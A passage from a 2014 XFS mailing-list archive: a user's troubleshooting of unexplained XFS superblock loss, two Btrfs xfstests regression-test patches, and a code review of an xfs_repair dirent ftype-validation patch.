TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144421 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_C562A3D2-2CF8-4479-8A45-891CF2219301 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 Hi Dave,=20 thanks for your reply and I=92m sorry for the delayed answer=85 Am 23.01.2014 um 00:31 schrieb Dave Chinner <david@fromorbit.com>: > On Wed, Jan 22, 2014 at 05:09:10PM +0100, Sascha Askani wrote: >=20 > So, an inode extent map btree block failed verification for some > reason. Hmmm - there should have been 4 lines of hexdump output > there as well. Can you post that as well? Or have you modified > /proc/sys/fs/xfs/error_level to have a value of 0 so it is not > emitted? >=20 /proc/sys/fs/xfs/error_level is set to 3, sorry for not including this = in my original post, the Hexdump is pretty =84boring=93 (or interesting, = depending on your point of view): [964197.435322] ffff881f8e59b000: 00 00 00 00 00 00 00 00 00 00 00 00 00 = 00 00 00 ................ [964197.862037] ffff881f8e59b010: 00 00 00 00 00 00 00 00 00 00 00 00 00 = 00 00 00 ................ [964198.288694] ffff881f8e59b020: 00 00 00 00 00 00 00 00 00 00 00 00 00 = 00 00 00 ................ [964198.712093] ffff881f8e59b030: 00 00 00 00 00 00 00 00 00 00 00 00 00 = 00 00 00 ................ > And not the disk address of the buffer? 0x1f0 - it's right near the > start of the volume. >=20 >=20 >> [964199.139324] XFS (dm-8): I/O Error Detected. Shutting down = filesystem >> [964199.139325] XFS (dm-8): Please umount the filesystem and rectify = the problem(s) >> [964212.367300] XFS (dm-8): xfs_log_force: error 5 returned. >> [964242.477283] XFS (dm-8): xfs_log_force: error 5 returned. >> --------------------------------------------------------- >>=20 >> After that, I tried the following (in order): >=20 > Do you have the output and log messages from these steps? That would > be realy helpful in confirming any diagnosis. Unfortunately, the output got lost due to a reboot, but basically = xfs_repair scanned the whole volume after failing to find a primary = superblock, emitting Millions of dots in the process. >=20 >> 1. xfs_repair, which did not find the superblock and started scanning = the LV, after finding the secondary superblock, it told me there=92s = still something in the log, so I >=20 > Oh, wow. Ok, if the primary superblock is gone, along with metadata > in the first few blocks of the filesystem, then something has > overwritten the start of the block device the filesystem is on. >=20 >> 2. mounted the filesystem, which gave me a =84Structure needs = cleaning=93 after a couple of seconds >> 3. tried mounting again for good measure, same error =84Structure = needs cleaning=93 >=20 > Right - the kernel can't read a valid superlock, either. Just seen this messages in the log which were emitted when trying to = mount the FS: [964606.038733] XFS (dm-8): metadata I/O error: block 0x200 = ("xlog_recover_do..(read#2)") error 117 numblks 16 [964606.515048] XFS (dm-8): log mount/recovery failed: error 117 [964606.515386] XFS (dm-8): log mount failed >=20 >> 4. xfs_repair -L which repaired everything, and effectively cleaned = my Filesystem in the process. >=20 > Recreating the primary superblock from the backup superblocks >=20 >> 5. mount the filesystem to find it empty. >=20 > Because the root inode was lost, along with AGI 0 and so all > the inodes in the first AG were completely lost as all the redundant > information that is used to find them was trashed. Yes, and since at the time of the error, there were only 2 Files, 1 = Directory and 2 Hardlinks on the fs, so it=92s kind of probable that = everything is lost. >=20 >> Since then, I=92m desperately trying to reproduce the problem, >> but unfortunately to no avail. Can somebody give some insight on >> the errors I encountered. I have previously operated 4,5PB worth >> of XFS Filesystems for 3 years and never got an error similar to >> this. >=20 > This doesn't look like an XFS problem. This looks like something > overwrote the start of the block device underneath the XFS > filesystem. I've seen this happen before with faulty SSDs, I've also > seen it when someone issued a discard to the wrong location on a > block device (you didn't run fstrim on the block device, did you?), > and I've seen faulty RAID controllers cause similar issues. So right > now I'd be looking at logs and so on for hardware/storage issues > that occurred in the past couple of days as potential causes. No, we did not perform any kind of trimming on the device, also, there = are no =84discard=93 options set anywhere (mount-options, lvm.conf,=85). = We have a pretty active MariaDB-Slave running on the same Controller = Logical Drive / LVM VG and no errors on the other filesystems so far; = also, mylvmbackup does not seem to have any problems.=20 Thanks for your insights so far, if you need any more information, I=92d = be happy to provide it if possible. Best regards, Sascha=20 --Apple-Mail=_C562A3D2-2CF8-4479-8A45-891CF2219301 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQGcBAEBCgAGBQJS4hywAAoJEPgp1oARaIvkfSsL/3ju7gnc+WqlBmM4gyElRnyu q1zTsWgVdXbrpAj1VavKTk/unCAYqOSBokUgcaPZ75C2oPSGUZKKNkctmjtcmRYl fCIwVHl18DEKZTUFXib7UFqwgsCwt0iXiolz90zgaR3fGbfPxvQ6bJN9BSApmbvS CKTVHk55RU6Iw6ugHFDKSRouTaIOgVeFQeGI8Jm4QH9pUD9ai50V9JcNEuQPVEdP vrAFzC7xI40fX1TArxTDJ4WBt8ilgqVUJt7v5kSG6Gkg97r51FcRS8oe5X6meE9z CVtFigBTIOGpO+TBcIk1Ex2f0pYuCwrsWsSDtQVnbdal/HgrfDnWM70/9hWuNeS2 gZPkZERw0/ga3auTqtfc/036hh4R9aXYHClIxrasbQ0VFAw8H3OKyyQ07sgvIYhL cEaf98aJaKgZaFMBHJnZjR8g5ItayIXlfK6akxWTKsrSX8HKHwyyzn08k1NKFPvc i612vURlh5wEDV9E1SGcq6gMnvqdXvAKSIpm6S8e/g== =X4UJ -----END PGP SIGNATURE----- --Apple-Mail=_C562A3D2-2CF8-4479-8A45-891CF2219301-- From saskani@inovex.de Fri Jan 24 02:08:38 2014 Return-Path: <saskani@inovex.de> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 276A07FEB for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 02:08:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E28B88F8052 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 00:08:37 -0800 (PST) X-ASG-Debug-ID: 1390550913-04cb6c7509d1440001-NocioJ Received: from zmail.inovex.de (zmail.inovex.de [85.115.6.137]) by cuda.sgi.com with ESMTP id 6eWGUf3GfpCsOydR for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 00:08:33 -0800 (PST) X-Barracuda-Envelope-From: saskani@inovex.de X-Barracuda-Apparent-Source-IP: 85.115.6.137 Received: from zmail.inovex.de (localhost [127.0.0.1]) by zmail.inovex.de (Postfix) with ESMTP id 2F7453FF04; Fri, 24 Jan 2014 09:10:22 +0100 (CET) Received: from [10.10.51.81] (unknown [10.10.51.81]) by zmail.inovex.de (Postfix) with ESMTPSA id 0D9C53FEE5; Fri, 24 Jan 2014 09:10:21 +0100 (CET) Content-Type: multipart/signed; boundary="Apple-Mail=_6F709BC1-5E0D-4C49-9CD5-AA97F617DC76"; protocol="application/pgp-signature"; micalg=pgp-sha512 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Weird XFS Corruption Error From: Sascha Askani <saskani@inovex.de> X-ASG-Orig-Subj: Re: Weird XFS Corruption Error In-Reply-To: <20140123151943.281baa04@harpe.intellique.com> Date: Fri, 24 Jan 2014 09:08:32 +0100 Cc: xfs@oss.sgi.com Message-Id: <0EB19DE2-2DB4-426E-B050-1C633B2BD8F6@inovex.de> References: <CDBC891F-BCF6-4B9B-ADDB-9E143973D188@inovex.de> <20140123151943.281baa04@harpe.intellique.com> To: Emmanuel Florac <eflorac@intellique.com> X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: zmail.inovex.de[85.115.6.137] X-Barracuda-Start-Time: 1390550913 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144421 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_6F709BC1-5E0D-4C49-9CD5-AA97F617DC76 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 Hi Emmanuel, thanks for your reply, sorry for the delayed answer... Am 23.01.2014 um 15:19 schrieb Emmanuel Florac <eflorac@intellique.com>: > Le Wed, 22 Jan 2014 17:09:10 +0100 > Sascha Askani <saskani@inovex.de> =E9crivait: >=20 >> Internal error xfs_bmbt_read_verify at line 789=20 > ... >> metadata I/O error: block 0x1f0 ("xfs_trans_read_buf_map") error 117 >> numblks 8 >=20 >=20 > A quick glance at the source code seems to indicate that there was an > actual CRC error (on disk) at this point, so that could be a RAID > problem; (Un)fortunately, I don=92t see any kind of controller errors, but I = definitely second your opinion >=20 > OTOH it looks really similar to an older bug : >=20 > http://oss.sgi.com/archives/xfs/2013-02/msg00482.html >=20 > AFAIK this one could be related to the current Ubuntu LTS lvm stack... > We need Dave's advice on this one. >=20 > Was there nothing in the xfs_repair output? nothing in lost+found > either? xfs_repair output (which I unfortunately do not have) was sparse = (ignoring the many dots it printed after having failed to find the = primary superblock), basically it removed invalid references. lost+found = contains 1 directory (which is empty) As for the bug you referenced above: Yes, it looks similar, but we have = no pvmove going on anywhere at any time, but I=92ll see if I can try to = reproduce the error with the many files (kernel source) as described in = the bug. For reference, the LVM versions currently in use: root@hsoi-gts3-de02:/# lvdisplay --version LVM version: 2.02.66(2) (2010-05-20) Library version: 1.02.48 (2010-05-20) Driver version: 4.25.0 Thanks so far :) Best regards, Sascha=20 --Apple-Mail=_6F709BC1-5E0D-4C49-9CD5-AA97F617DC76 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQGcBAEBCgAGBQJS4h+AAAoJEPgp1oARaIvklo0MAMndaOO+l/yW5EGfMQQQptjp 5cjHufj/DAQSowNb1FKmHoxO32S5PqgBjkRkKGEkNWRhtHVmmseOZRHEBMCr0SIM uDYEsxoZ4efJXLJmL1UA3rzXtfoV5tQGd2synyECUd8wxCL8Vh2GDRUsruESYsrV L1roD33ueBy7I3R7lgzQUv+a8+sJksUR1ujnDto1EOlK5WQx4XrBGXeQzXzYLgbV 4QohvYSVeRtd9fKCsiAG62mEdXPPfLMINroSMpIdZ+MxZG25KNKJd3P//Xv+MVPW SPYo29qLE8gWutVbiAA+tm3UsCOfSmVfk5MjutrR69rAdtFL7NvTt2ytVlFIm3pC Zqx7j8tUKN0anQQvEW7g6Q0Z6qvPfJHUdxGJIB/A4Q2WifFm4DWZWcM5JCgxkzB/ 1tw0I19q2280wTRKWIuSPZzA7ErX1RA1uaVq9yN+iA8oEUgtjFsdT9U19u6jFqu/ QPyVV73ZiBl4SlLuHHTFzgEr75mLE+qFK+WT48EqXg== =9BqX -----END PGP SIGNATURE----- --Apple-Mail=_6F709BC1-5E0D-4C49-9CD5-AA97F617DC76-- From wangsl.fnst@cn.fujitsu.com Fri Jan 24 03:12:21 2014 Return-Path: <wangsl.fnst@cn.fujitsu.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4714A7FEF for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 03:12:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2A79F8F8037 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 01:12:21 -0800 (PST) X-ASG-Debug-ID: 1390554737-04cbb05ba9d29e0002-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id qOmISWAc0ELXm12T for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 01:12:19 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,711,1384272000"; d="scan'208";a="9450878" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 24 Jan 2014 17:07:34 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s0O9BFhv005928; Fri, 24 Jan 2014 17:11:16 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014012417094849-1342440 ; Fri, 24 Jan 2014 17:09:48 +0800 From: Wang Shilong <wangsl.fnst@cn.fujitsu.com> To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH] Btrfs: add regression test for iterating backrefs Date: Fri, 24 Jan 2014 17:09:57 +0800 X-ASG-Orig-Subj: [PATCH] Btrfs: add regression test for iterating backrefs Message-Id: <1390554597-11076-2-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 In-Reply-To: <1390554597-11076-1-git-send-email-wangsl.fnst@cn.fujitsu.com> References: <1390554597-11076-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/24 17:09:48, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/24 17:09:49, Serialize complete at 2014/01/24 17:09:49 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1390554739 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144422 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Btrfs send/scrub/defrag/qgroup need to walk backrefs,this test is to make sure iterating backrefs with ulist is working and don't cause a kernel panic here. Signed-off-by: Wang Shilong <wangsl.fnst@cn.fujitsu.com> --- tests/btrfs/033 | 71 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/033.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 74 insertions(+) create mode 100755 tests/btrfs/033 create mode 100644 tests/btrfs/033.out diff --git a/tests/btrfs/033 b/tests/btrfs/033 new file mode 100755 index 0000000..c6ddcdc --- /dev/null +++ b/tests/btrfs/033 @@ -0,0 +1,71 @@ +#!/bin/bash +# FS QA Test No. btrfs/033 +# +# Regression test for iterating backrefs +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + +touch $SCRATCH_MNT/foo + +# get file with fragments by using backwards writes. +for i in `seq 10240 -1 1`; do + $XFS_IO_PROG -f -d -c "pwrite $(($i * 4096)) 4096" \ + $SCRATCH_MNT/foo > /dev/null | _filter_xfs_io +done + +# get some snapshots here to make sure we are really +# suffering from walking backrefs. +for i in `seq 0 50`; do + $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/snap_$i >> $seqres.full 2>&1 +done + +$BTRFS_UTIL_PROG send -f $SCRATCH_MNT/send_file \ + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 + +echo "Silence is golden" +status=0 ; exit diff --git a/tests/btrfs/033.out b/tests/btrfs/033.out new file mode 100644 index 0000000..c5d2914 --- /dev/null +++ b/tests/btrfs/033.out @@ -0,0 +1,2 @@ +QA output created by 033 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index 7f48b04..b29236c 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -35,3 +35,4 @@ 030 auto quick 031 auto quick 032 auto quick +033 auto quick -- 1.8.3.1 From wangsl.fnst@cn.fujitsu.com Fri Jan 24 03:12:23 2014 Return-Path: <wangsl.fnst@cn.fujitsu.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 79CED7FF4 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 03:12:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5C8028F8037 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 01:12:20 -0800 (PST) X-ASG-Debug-ID: 1390554737-04cbb05ba9d29e0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id EjfvyXDISCoVSPQn for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 01:12:18 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,711,1384272000"; d="scan'208";a="9450877" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 24 Jan 2014 17:07:34 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s0O9BFhu005928; Fri, 24 Jan 2014 17:11:15 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014012417094849-1342439 ; Fri, 24 Jan 2014 17:09:48 +0800 From: Wang Shilong <wangsl.fnst@cn.fujitsu.com> To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH] Btrfs: add regression test for transaction abortion when remounting Date: Fri, 24 Jan 2014 17:09:56 +0800 X-ASG-Orig-Subj: [PATCH] Btrfs: add regression test for transaction abortion when remounting Message-Id: <1390554597-11076-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/24 17:09:48, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/24 17:09:48, Serialize complete at 2014/01/24 17:09:48 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1390554738 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144422 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Btrfs would get a transaction abortion when remounting RW to RO with flushoncommit enabled.This test is to check if bug still exists. Signed-off-by: Wang Shilong <wangsl.fnst@cn.fujitsu.com> --- tests/btrfs/032 | 57 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/032.out | 3 +++ tests/btrfs/group | 1 + 3 files changed, 61 insertions(+) create mode 100755 tests/btrfs/032 create mode 100644 tests/btrfs/032.out diff --git a/tests/btrfs/032 b/tests/btrfs/032 new file mode 100755 index 0000000..0b666e5 --- /dev/null +++ b/tests/btrfs/032 @@ -0,0 +1,57 @@ +#!/bin/bash +# FS QA Test No. btrfs/032 +# +# Regression test for transaction abortion when remounting RW to RO +# with flushoncommit option enabled. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount "-o flushoncommit" + +$XFS_IO_PROG -f -c "pwrite 0 10M" "$SCRATCH_MNT/tmpfile" | _filter_xfs_io + +_scratch_mount "-o remount,ro" + +status=0 ; exit diff --git a/tests/btrfs/032.out b/tests/btrfs/032.out new file mode 100644 index 0000000..bd0ac21 --- /dev/null +++ b/tests/btrfs/032.out @@ -0,0 +1,3 @@ +QA output created by 032 +wrote 10485760/10485760 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/btrfs/group b/tests/btrfs/group index 2e2b8e1..7f48b04 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -34,3 +34,4 @@ 029 auto quick 030 auto quick 031 auto quick +032 auto quick -- 1.8.3.1 From bfoster@redhat.com Fri Jan 24 07:42:50 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 05A4F7FFF for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 07:42:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B00E6304043 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 05:42:46 -0800 (PST) X-ASG-Debug-ID: 1390570965-04bdf030e8e6c40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qNE9bHqn4438sdCr for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 05:42:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0ODghKZ014308 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 24 Jan 2014 08:42:43 -0500 Received: from laptop.bfoster (vpn-54-164.rdu2.redhat.com [10.10.54.164]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0ODggmD027507 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 24 Jan 2014 08:42:43 -0500 Message-ID: <52E26DD2.5020808@redhat.com> Date: Fri, 24 Jan 2014 08:42:42 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com>, xfs@oss.sgi.com Subject: Re: [PATCH V3] xfs_repair: add support for validating dirent ftype field References: <1390517573-29898-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH V3] xfs_repair: add support for validating dirent ftype field In-Reply-To: <1390517573-29898-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390570965 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/23/2014 05:52 PM, Dave Chinner wrote: > From: Dave Chinner <dchinner@redhat.com> > > Add code to track the filetype of an inode from phase 3 when all the > inodes are scanned throught to phase 6 when the directory structure > is validated and corrected. > > Add code to phase 6 shortform and long form directory entry > validation to read the ftype from the dirent, lookup the inode > record and check they are the same. If they aren't and we are in > no-modify mode, issue a warning such as: > > Phase 6 - check inode connectivity... > - traversing filesystem ... > would fix ftype mismatch (5/1) in directory/child inode 64/68 > - traversal finished ... > - moving disconnected inodes to lost+found ... > > If we are fixing the problem: > > Phase 6 - check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - traversing filesystem ... > fixing ftype mismatch (5/1) in directory/child inode 64/68 > - traversal finished ... > - moving disconnected inodes to lost+found ... > > Note that this is from a leaf form directory entry that was > intentionally corrupted with xfs_db like so: > > xfs_db> inode 64 > xfs_db> a u3.bmx[0].startblock > xfs_db> p > .... > du[3].inumber = 68 > du[3].namelen = 11 > du[3].name = "syscalltest" > du[3].filetype = 1 > du[3].tag = 0x70 > .... > xfs_db> write du[3].filetype 5 > du[3].filetype = 5 > xfs_db> quit > > Shortform directory entry repair was tested in a similar fashion. > > Further, track the ftype in the directory hash table that is build, > so if the directory is rebuild from scratch it has the necessary > ftype information to rebuild the directory correctly. Further, if we > detect a ftype mismatch, update the entry in the hash so that later > directory errors that lead to it being rebuilt use the corrected > ftype field, not the bad one. > > Note that this code pulls in some kernel side code that is currently > in kernel private locations (xfs_mode_to_ftype table), so there'll > be some kernel/userspace sync work needed to bring these back into > line. > > Signed-off-by: Dave Chinner <dchinner@redhat.com> > > Version 3: > - fixed max_size updates > - fixed comment grammar > > Version 2: > - factored out junking of entry in shortform directory code > - fixed leak of ftypes array memory > --- > include/xfs_dir2.h | 3 + > libxfs/xfs_dir2.c | 16 ++++ > repair/dino_chunks.c | 11 +++ > repair/incore.h | 27 +++++- > repair/incore_ino.c | 30 ++++++- > repair/phase6.c | 239 ++++++++++++++++++++++++++++++++++++--------------- > repair/scan.c | 4 +- > 7 files changed, 253 insertions(+), 77 deletions(-) > > diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h > index 9910401..3900130 100644 ... > diff --git a/repair/phase6.c b/repair/phase6.c > index d2d4a44..157685c 100644 > --- a/repair/phase6.c > +++ b/repair/phase6.c ... > @@ -2189,6 +2238,59 @@ out_fix: > * shortform directory v2 processing routines -- entry verification and > * bad entry deletion (pruning). > */ > +static struct xfs_dir2_sf_entry * > +shortform_dir2_junk( > + struct xfs_mount *mp, > + struct xfs_dir2_sf_hdr *sfp, > + struct xfs_dir2_sf_entry *sfep, > + xfs_ino_t lino, > + int *max_size, > + int *index, > + int *bytes_deleted, > + int *ino_dirty) > +{ > + struct xfs_dir2_sf_entry *tmp_sfep; > + int tmp_len; > + int tmp_elen; > + > + if (lino == orphanage_ino) > + orphanage_ino = 0; > + if (no_modify) { > + do_warn(_("would junk entry\n")); > + return NULL; Argh, sorry I missed this last time. ;) This looks like a problem. In the no_modify case, we return NULL and 'continue' in the caller, which skips the loop end logic and leads to bad things. We could calculate and return the next entry here, but it might be cleaner to use a goto instead of continue in the callers and not duplicate the logic. > + } > + > + tmp_elen = xfs_dir3_sf_entsize(mp, sfp, > + sfep->namelen); > + 